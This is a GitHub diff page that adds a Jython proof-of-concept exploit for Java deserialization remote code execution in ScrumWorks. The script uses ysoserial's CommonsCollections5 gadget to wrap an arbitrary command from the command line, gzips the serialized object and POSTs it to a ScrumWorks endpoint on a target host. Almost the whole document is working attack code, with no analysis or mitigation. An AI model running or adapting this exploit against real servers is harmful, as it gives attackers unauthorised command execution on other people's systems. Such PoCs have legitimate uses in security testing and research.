File tree Expand file tree Collapse file tree 1 file changed +60
-0
lines changed Expand file tree Collapse file tree 1 file changed +60
-0
lines changed Original file line number Diff line number Diff line change
1
+ - - -
2
+ #
3
+ # Scrumworks Java Deserialization Remote Code Execution PoC
4
+ #
5
+ import httplib
6
+ import urllib
7
+ import sys
8
+
9
+ import binascii
10
+
11
+ # load the ysoserial.jar file
12
+ sys .path .append ("./ysoserial.jar" )
13
+
14
+ from ysoserial import *
15
+ from ysoserial .payloads import *
16
+
17
+ # ZIP support
18
+ from java .io import ByteArrayOutputStream
19
+ from java .io import ObjectOutputStream
20
+ from java .util .zip import GZIPOutputStream
21
+
22
+
23
+ print "Scrumworks Java Deserialization Remote Code Execution PoC"
24
+ print "========================================================="
25
+
26
+ if len (sys .argv ) != 4 :
27
+ print "usage: " + sys .argv [0 ] + " host port command\n "
28
+ exit (3 )
29
+
30
+ payloadName = "CommonsCollections5"
31
+ payloadClass = ObjectPayload .Utils .getPayloadClass (payloadName );
32
+
33
+ if payloadClass is None :
34
+ print ("Can't load ysoserial payload class" )
35
+ exit (2 );
36
+
37
+ # serialize payload
38
+ payload = payloadClass .newInstance ()
39
+ exploitObject = payload .getObject (sys .argv [3 ])
40
+
41
+ # create streams
42
+ byteStream = ByteArrayOutputStream ()
43
+ zipStream = GZIPOutputStream (byteStream )
44
+ objectStream = ObjectOutputStream (zipStream )
45
+ objectStream .writeObject (exploitObject )
46
+
47
+ # close streams
48
+ objectStream .flush ()
49
+ objectStream .close ()
50
+ zipStream .close ()
51
+ byteStream .close ()
52
+
53
+ # http request
54
+ print "sending serialized command"
55
+ conn = httplib .HTTPConnection (sys .argv [1 ] + ":" + sys .argv [2 ])
56
+ conn .request ("POST" , "/scrumworks/UFC-poc-" , byteStream .toByteArray ())
57
+ response = conn .getresponse ()
58
+ conn .close ()
59
+ print "done"
60
+ - - -
You can’t perform that action at this time.
0 commit comments